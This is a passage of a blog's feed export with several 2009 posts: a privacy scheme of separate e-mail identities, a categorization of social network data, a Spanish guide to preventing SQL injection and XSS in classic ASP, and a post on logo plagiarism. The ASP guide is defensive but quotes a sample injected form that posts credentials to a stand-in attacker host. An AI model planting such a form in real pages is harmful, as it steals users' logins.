src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/Sx14XV3gx6I/AAAAAAAAAJ4/n9j3N5Rg5ms/s72-c/lab.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-2497488131627256373</id><published>2009-12-01T10:35:00.000-08:00</published><updated>2009-12-01T12:54:42.614-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='trust'/><category scheme='http://www.blogger.com/atom/ns#' term='social'/><category scheme='http://www.blogger.com/atom/ns#' term='circle'/><category scheme='http://www.blogger.com/atom/ns#' term='rings'/><category scheme='http://www.blogger.com/atom/ns#' term='email'/><category scheme='http://www.blogger.com/atom/ns#' term='networks'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Social Rings: A Simple Method For Enhancing Privacy In Web 2.0 And Social Networks</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SxWCT_vHlyI/AAAAAAAAAJo/yEhjIQp52wc/s1600/social_rings.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 275px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SxWCT_vHlyI/AAAAAAAAAJo/yEhjIQp52wc/s320/social_rings.png" alt="" id="BLOGGER_PHOTO_ID_5410373807393707810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Disclaimer: This post was written for the annoyingly paranoid.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you are worried about your privacy but you don't want to be isolated in Internet  then you may want to implement social rings. Here we will describe the simple method we devised for enabling a little privacy in web 2.0 and social networks. We design four privacy levels or social rings to access the web and contact people through social network services. Keep in mind, that as soon as other abstract communication layers don't provide any privacy, probably your privacy is invaded by your local ISP, government intelligence/security agency or employer.&lt;br /&gt;&lt;br /&gt;This method includes human and automatic computer interactions. We have been testing it for about a year and provides a more clear understanding of privacy in the Internet, given the little effort of managing the different rings. It is designed to avoid phishing, spamming and optimized your mindshare/attention online, a limited resource.&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Social Ring 0 (The Circle Of Trust or The Social Circle)&lt;/span&gt;: Include here close friends, trusted co-workers and trusted family members. Create an e-mail for this ring. Identify yourself with your complete name but don't include your complete name in the e-mail, you don't want people knowing your complete your name to deduce the e-mail. Use this e-mail only for human-human contacts, not for automatic subscriptions, the latter usually contains messages from people you don't trust. This email, not directly deducible from your complete name, will be the &lt;span style="font-style: italic;"&gt;key/token&lt;/span&gt; (we will call it &lt;span style="font-style: italic;"&gt;token0&lt;/span&gt;) to enter social ring 0, but assume that contacts in this ring know your complete name. Use &lt;span style="font-style: italic;"&gt;token0&lt;/span&gt; to create and account on you favorite social network service. Check that people can only contact you in this ring if they have &lt;span style="font-style: italic;"&gt;token0&lt;/span&gt;. In Facebook for example you must not use your complete name, but you may want to be contacted with &lt;span style="font-style: italic;"&gt;token0&lt;/span&gt; in the people search queries. From example if your name is Alan Smithee you may use &lt;span style="font-style: italic;"&gt;alans&lt;/span&gt; or &lt;span style="font-style: italic;"&gt;as23&lt;/span&gt; as privacy &lt;span style="font-style: italic;"&gt;token0&lt;/span&gt;. Only people (or robots?) will enter this ring after physical contact or personal recommendation from an existing contact. You may subscribe to news feed system only in this feed systems allows &lt;span style="font-style: italic;"&gt;anonymous&lt;/span&gt; &lt;span style="font-style: italic;"&gt;subscriptions&lt;/span&gt; or &lt;span style="font-style: italic;"&gt;followers&lt;/span&gt;. Twitter allows anonymous subscriptions via RSS feeds but following people in Twitter with your Twitter account is not anonymous.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Social Ring 1 (The News/Nickname Ring)&lt;/span&gt;: Here are included not so close friends, untrusted co-workers/family and automatic subscriptions/robots. Create an email with privacy &lt;span style="font-style: italic;"&gt;token1&lt;/span&gt;, similarly as with ring 0 but now with a token completely uncorrelated to your complete name. Don't use your complete name anywhere within this ring (!), use a simple nickname, such as &lt;span style="font-style: italic;"&gt;alan666&lt;/span&gt; or &lt;span style="font-style: italic;"&gt;morfeus&lt;/span&gt;. Using &lt;span style="font-style: italic;"&gt;token1&lt;/span&gt; you can subscribe to people and systems that only supports &lt;span style="font-style: italic;"&gt;non-anonymous subscriptions&lt;/span&gt; such as Twitter. E-mail newsletters and lists are included in this ring because this qualifies as an interaction with an untrusted machine possibly aggregating content and spam from people you don't know. Don't use &lt;span style="font-style: italic;"&gt;token1&lt;/span&gt; for possible spammish subscriptions or people/social network systems suspected of being malicious. You may want to use your complete name in blogs and services associated with &lt;span style="font-style: italic;"&gt;token1&lt;/span&gt; but only for publishing content, not consuming.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Social Ring 2 (Social Event Horizon)&lt;/span&gt;: create a totally uncorrelated social key &lt;span style="font-style: italic;"&gt;token2&lt;/span&gt; for this ring. Use it for subscriptions/services you don't trust at this moment. You can probe suspicious services or people comfortably standing in this ring. Surely you will need an email for this ring.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Social Ring 3 (The Anonymous Moors)&lt;/span&gt;: anonymous polls, anonymous social comments in web forums, no credentials needed. As you can be approximately geographically located, you may want to used anonymous routers such as Tor to avoid geographical bans or censorships. Remember to don't use any ring 0-2 credentials in this ring.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Some improvements may include Social Ring -1 with an encrypted web vault for storing personal data such as financial information, other critical data and Social Ring 0-2 credentials.&lt;br /&gt;&lt;br /&gt;You want to avoid scenarios were people/machines can't deduce &lt;span style="font-style: italic;"&gt;token{n-1}&lt;/span&gt; from &lt;span style="font-style: italic;"&gt;token{n}&lt;/span&gt; so that can elevate their social ring level.&lt;br /&gt;&lt;br /&gt;Please comment any method bugs or possible improvements.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SxV0QrWwPoI/AAAAAAAAAJg/4vmV2nhjI_Y/s1600/circle_1_m.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 243px; height: 250px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SxV0QrWwPoI/AAAAAAAAAJg/4vmV2nhjI_Y/s320/circle_1_m.jpg" alt="" id="BLOGGER_PHOTO_ID_5410358357220408962" border="0" /&gt;&lt;/a&gt;(Last photo courtesy of &lt;a href="http://s297.photobucket.com/albums/mm213/lois_15354/?action=view&amp;amp;current=circle_1_m-1.jpg&amp;amp;newest=1"&gt;lois_15354&lt;/a&gt;.)&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-2497488131627256373?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/2497488131627256373/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/12/social-rings-simple-method-for.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2497488131627256373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2497488131627256373'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/12/social-rings-simple-method-for.html' title='Social Rings: A Simple Method For Enhancing Privacy In Web 2.0 And Social Networks'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tJD3vUnZtL0/SxWCT_vHlyI/AAAAAAAAAJo/yEhjIQp52wc/s72-c/social_rings.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-2378632316703393392</id><published>2009-11-26T12:01:00.000-08:00</published><updated>2009-12-01T10:01:59.180-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social'/><category scheme='http://www.blogger.com/atom/ns#' term='taxonomy'/><category scheme='http://www.blogger.com/atom/ns#' term='networks'/><category scheme='http://www.blogger.com/atom/ns#' term='schneier'/><category scheme='http://www.blogger.com/atom/ns#' term='bruce'/><category scheme='http://www.blogger.com/atom/ns#' term='categorization'/><title type='text'>Another Categorization of Social Networking Data</title><content type='html'>&lt;div style="text-align: justify;"&gt;Following &lt;a href="http://www.schneier.com/blog/archives/2009/11/a_taxonomy_of_s.html"&gt;Bruce Schneier post&lt;/a&gt; on social network data taxonomies I made my own categorization. You will observe that is not a taxonomy because data is not exclusively in one of the categories, that is, the categories are not disjoint. It is a categorization centered on data destination, places and people that can store it, access it and the use it. Schneier taxonomy is centered on trust levels I think.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Collected Data&lt;/span&gt;. Data collected by the service provider. Unless this data is encrypted on the client-side and stored this way on the server we assume it is plain text data accessible by the service provider. Usually includes profile and network data explicitly provided by the user, and click history implicitly provided. You can assume that everything you do and upload in the browser tab of the service is collected if the privacy policy of the service doesn't state it otherwise.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Public/Disclosed Data&lt;/span&gt;. Data that is published openly, such as complete name or e-mail.  It can be useful for other people trying to locate you.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Social Data&lt;/span&gt;. Data that is openly shared with your trusted contacts. Unless these contacts are inside your circle of trust, they can't access it.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Monetized Data&lt;/span&gt;. Data that is actually used by the service provider to serve you personalized advertising. This category also includes data that can be sold anonymized or aggregated to third parties.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;You can observe that in some services, such as web logs, all social data is public/disclosed. It is common nowdays, that the service provider collects all the data, so the public/disclosed data and the social data are included there. On the other side, a encrypted social network service could possibly assure a minimization of collected data. Obviously monetized data can only be extracted from some data collected from the provider. If the social data can be widely collected by other users infiltrating your social contact list they can build a dataset that can be turn into monetized data. Another example is &lt;a href="http://www.readwriteweb.com/archives/social_graph_concepts_and_issues.php"&gt;Google's Social Graph&lt;/a&gt; effort, they are transforming part of your social data in services they can't access into public/disclosed data that fits better inside their business model.&lt;br /&gt;&lt;br /&gt;Some ideas in this post are related to &lt;a href="http://www.readwriteweb.com/archives/towards_the_attention_economy_opening_silos.php"&gt;Alex Iskold post&lt;/a&gt; on attention silos.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-2378632316703393392?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/2378632316703393392/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/11/another-categorization-of-social.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2378632316703393392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2378632316703393392'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/11/another-categorization-of-social.html' title='Another Categorization of Social Networking Data'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-1689628978338189846</id><published>2009-11-19T10:02:00.000-08:00</published><updated>2009-11-19T10:20:11.387-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sqli'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='inyecciones'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><category scheme='http://www.blogger.com/atom/ns#' term='asp'/><title type='text'>Precauciones Básicas para Evitar Ataques Web en ASP</title><content type='html'>&lt;div style="text-align: justify;"&gt;Repasamos algunos conceptos de seguridad web básicos y recorriendo la web comentamos algunas soluciones para evitar ataques en aplicaciones web desarrolladas con ASP.&lt;br /&gt;&lt;br /&gt;Como toda falla de seguridad, la tecnología que se desarrolla antes de que se popularice la falla, es víctima segura de la misma. En el caso de ASP es así, recién en ASP .Net se toma conciencia de las fallas de seguridad habituales en SQL y JavaScript y se implementan medidas incluidas por defecto, por lo menos en las librerías.&lt;br /&gt;&lt;br /&gt;    Las principales fallas que afectan a ASP son las que afectan a la mayoría de las aplicaciones web, son de inyección de código JavaScript y código SQL dentro de los datos enviados a la aplicación. La inyección de código dentro de datos enviados a programas es una categoría central de fallas de seguridad. En el caso clásico de aplicaciones nativas se inyecta código máquina dentro de datos enviados a servidores programados en C/C++ o dentro de datos multimedia para ataques clientes web o correo programados también en C/C++.&lt;br /&gt;&lt;br /&gt;En el caso de una falla de inyección SQL la ejecución de una sentencia SQL en el servidor puede ser afectada o desviada mediante datos provistos por el usuario. Usualmente al mezclarse la sentencia SQL en forma de &lt;span style="font-style: italic;"&gt;string&lt;/span&gt; de caracteres con la entrada provista por el usuario/atacante, este último puede escapar de la sentencia SQL con algún tipo de caracter como comilla simple o doble y luego agregar SQL a la sentencia existente o ejecutar una sentencia distinta (por ejemplo con ";" en el MS SQL Server). Luego el impacto habitual es pasar alrededor la autenticación entrando como administrador al sistema o listando la lista de usuario, aunque también dependiendo de los permisos de la base de datos SQL se pueden llegar a modificar tablas de datos o ejecutar comandos de la consola de sistema &lt;a href="http://www.owasp.org/index.php/SQL_Injection"&gt;[1]&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Las inyecciones de JavaScript, también conocidas como XSS o &lt;span style="font-style: italic;"&gt;Cross-site Scripting&lt;/span&gt; parecen mas inofensivas porque afectan en principio a los navegadores web cliente de los usuarios, pero aparte de servir para robar credenciales de los usuarios pueden servir para sobrecargar al servidor con peticiones. Se inyecta JavaScript en los datos y estos son reflejados en el HTML que se devuelve, entonces si la inyección se puede persistir o se puede reproducir con un URL (XSS de petición GET), entonces las víctimas pueden acceder al mismo y de ellas se podría eventualmente robar sus &lt;span style="font-style: italic;"&gt;cookies&lt;/span&gt; de sesión. Para el caso de peticiones POST alcanza con dirigir a las víctimas al dominio "notanevilhacker.org" y de ahi andar el POST con el XSS al dominio "vulnerable.org" para robar credenciales &lt;a href="http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html"&gt;[2]&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;En general la mejorar manera de evitar la inyecciones SQL es depurando la entrada de datos. Por ejemplo se puede solamente dejar pasar (lista blanca o &lt;span style="font-style: italic;"&gt;white-listing&lt;/span&gt;) los datos alfanuméricos en ASP con el siguiente código &lt;a href="http://http://www.4guysfromrolla.com/ASPScripts/PrintPage.asp?REF=%2Fwebtech%2F112702-1.shtml"&gt;[3]&lt;/a&gt;. En este caso se filtra el complemento alfanumérico con "^". Hay que incluir letras con acentos que se usan en el español posiblemente, que no están en este ejemplo. Destaquemos que siempre es preferible el &lt;span style="font-style: italic;"&gt;white-listing&lt;/span&gt; antes que el &lt;span style="font-style: italic;"&gt;black-listing&lt;/span&gt;, por que en el último caso se puede escapar algún caso no filtrado por la tangente, ergo, se nos escapa la tortuga de la seguridad por algun caso no cubierto.&lt;br /&gt;&lt;pre style="background: rgb(0, 0, 0) none repeat scroll 0% 0%; color: rgb(209, 209, 209); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;'Crear un objeto expresion regular&lt;br /&gt;Dim regEx&lt;br /&gt;Set regEx &lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt; New RegExp&lt;br /&gt;&lt;br /&gt;'Esta propiedad global le dice al moto de RegEx que busque TODAS las&lt;br /&gt;'subcadenas&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt; en vez de la primera aparicion&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt; Tiene que ser true&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;&lt;br /&gt;regEx&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;Global &lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt; true&lt;br /&gt;&lt;br /&gt;'Nuestro patron dice que tenemos que buscar en el string&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt; En este caso&lt;br /&gt;'buscamos cosas que no sean alfanumericas&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;&lt;br /&gt;regEx&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;Pattern &lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;[^0-9a-zA-Z]&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;'Usamos la funcion de reemplazo de RegEx para limpiar el username&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt; La funcion&lt;br /&gt;'de reemplazo toma un string para buscar &lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;usando el patron de arriba como criterio&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;&lt;br /&gt;'y la string que va a reemplazarla&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;&lt;br /&gt;'En este caso&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt; queremos reemplazar con nada&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt; porque los caracteres no&lt;br /&gt;'alfanumericos son los que queremos quitar&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;&lt;br /&gt;dim username&lt;br /&gt;username &lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt; regEx&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;Replace&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;request&lt;span style="color: rgb(210, 205, 134);"&gt;.&lt;/span&gt;form&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;UserName&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Para el caso de los XSS si es una entrada de usuario que incluye caracteres no alfanuméricos lo mejor es codificar la entrada para que sea interpretada como datos en el HTML de vuelta, y no como HTML en si mismo. En ASP la función que provee esta funcionalidad es "Server.HtmlEncode" &lt;a href="http://www.4guysfromrolla.com/webtech/112702-1.2.shtml"&gt;[4]&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Por ejemplo se reemplaza la entrada maliciosa:&lt;br /&gt;&lt;pre style="background: rgb(0, 0, 0) none repeat scroll 0% 0%; color: rgb(209, 209, 209); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;/&lt;/span&gt;form&lt;span style="color: rgb(210, 205, 134);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;lt;&lt;/span&gt;form method&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;POST&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;br /&gt;action&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;www.hax0r.com/passwordstealer.asp&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Por:&lt;br /&gt;&lt;pre style="background: rgb(0, 0, 0) none repeat scroll 0% 0%; color: rgb(209, 209, 209); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;amp;&lt;/span&gt;lt&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;/&lt;/span&gt;form&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;amp;&lt;/span&gt;gt&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;amp;&lt;/span&gt;lt&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;form&lt;br /&gt;method&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;POST&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;br /&gt;action&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;www.hax0r.com/passwordstealer.asp&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;amp;&lt;/span&gt;gt&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Podemos observar que si aparecen los dos tipos de vulnerabilidades juntas como el filtrado para evitar inyecciones SQL es mas restrictivo seguramente alcance con aplicar eso y no la codificación para HTML. Si ya fuimos víctimas de un ataque lo mejor es tratar de eliminar código remanente JavaScript malicioso en la base de datos &lt;a href="http://www.martic.net/blog/development/programming/securing-asp-applications-from-sql-injection-and-xss/"&gt;[5]&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-1689628978338189846?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/1689628978338189846/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/11/precauciones-basicas-para-evitar.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1689628978338189846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1689628978338189846'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/11/precauciones-basicas-para-evitar.html' title='Precauciones Básicas para Evitar Ataques Web en ASP'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-4641017660372858139</id><published>2009-11-11T10:19:00.000-08:00</published><updated>2009-11-12T07:36:03.423-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='copy'/><category scheme='http://www.blogger.com/atom/ns#' term='copied'/><category scheme='http://www.blogger.com/atom/ns#' term='plagiarism'/><category scheme='http://www.blogger.com/atom/ns#' term='logo'/><category scheme='http://www.blogger.com/atom/ns#' term='theft'/><category scheme='http://www.blogger.com/atom/ns#' term='shamelessly'/><title type='text'>Detecting Shameless Logo Plagiarism!</title><content type='html'>&lt;div style="text-align: justify;"&gt;I guess that we must clarify language confusions here. As we are talking about intangible assets here, information, we use the words &lt;span style="font-style: italic;"&gt;steal&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;theft&lt;/span&gt; only refering to the act of plagiarism. It is immoral when no reference to the original author is explicited then it is assumed that the copied logo is an original work of the graphic designed. No logo is completely original as particular features are always present in another logos but plagiarism is assumed when many features are present in more than one logo.&lt;br /&gt;&lt;br /&gt;It's very funny to observe that to save money and time some companies copy (steal?) the iconographic logos from another companies. In some cases the small ones copy from the bigger ones and in other cases is the other way around.&lt;br /&gt;&lt;br /&gt;I recommend to use the wonderful photo search engine called &lt;a href="http://www.tineye.com/"&gt;TinEye&lt;/a&gt; plus the &lt;a href="http://www.tineye.com/plugin"&gt;Firefox TinEye&lt;/a&gt;&lt;a href="http://www.tineye.com/plugin"&gt; plugin&lt;/a&gt;. In this case, is very clear that the photo similarity search of the service is a perfect fit for the detection of logo clones (thefts?).&lt;br /&gt;&lt;br /&gt;These posts (&lt;a href="http://www.logoblog.org/wordpress/the-art-of-logo-theft/"&gt;part 1&lt;/a&gt;, &lt;a href="http://http//www.logoblog.org/wordpress/logo-copy-2/"&gt;part 2&lt;/a&gt;) written by a logo design company explain the details and techniques for shamelessly copying a complete logo or part of it. For example they show the similarities between the Sun Microsystems logo and the Columbia Sportswear logo. I tried to use TinEye to detect the Sun/Columbia similarities but failed.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SvsGNOWoZYI/AAAAAAAAAJI/GBo-xB6PmoE/s1600-h/logo-theft-3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 58px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SvsGNOWoZYI/AAAAAAAAAJI/GBo-xB6PmoE/s320/logo-theft-3.jpg" alt="" id="BLOGGER_PHOTO_ID_5402919002222126466" border="0" /&gt;&lt;/a&gt;In this article called &lt;a href="http://ezinearticles.com/?Protecting-Your-Custom-Company-Logo-Designs-Copyright&amp;amp;id=2784364"&gt;Protecting Your Custom Company Logo Design's Copyright&lt;/a&gt; it is explained how to legally protect your logo, I guess is only useful when a explicit copy of your logo is made (and your logo is originally enough to be considered something that can be copied!).&lt;br /&gt;&lt;br /&gt;An plagiarism example  I detected with TinEye was the Kibon plagiarism (&lt;a href="http://http//www.tineye.com/search/20a2e9793ea69eecdc52400d67ff4c8e1c94ff87?page=1"&gt;page 1&lt;/a&gt;, &lt;a href="http://http//www.tineye.com/search/20a2e9793ea69eecdc52400d67ff4c8e1c94ff87?page=2"&gt;page 2&lt;/a&gt;). Kibon some years ago was an ice-cream brand, but the logo is also used by Olá, Good Humor and Wall's. Apparently these ice-cream brands are all owned by Unilever so they use the same logo in many places. But at least is not clear who design the logo. In site &lt;a href="http://http//www.brandsoftheworld.com"&gt;Brand's Of The World&lt;/a&gt; you can found the different logos: &lt;a href="http://www.brandsoftheworld.com/catalogue/O/122413.html"&gt;Olá&lt;/a&gt; (Portugal), &lt;a href="http://www.brandsoftheworld.com/search/111619933/68530.html"&gt;Kibon&lt;/a&gt; (Brazil) and &lt;a href="http://www.brandsoftheworld.com/search/111621151/78448.html"&gt;Wall's&lt;/a&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SvsO5_dFkHI/AAAAAAAAAJQ/iX6v8DzXClU/s1600-h/kibon.jpg"&gt;&lt;img style="margin: 0px auto 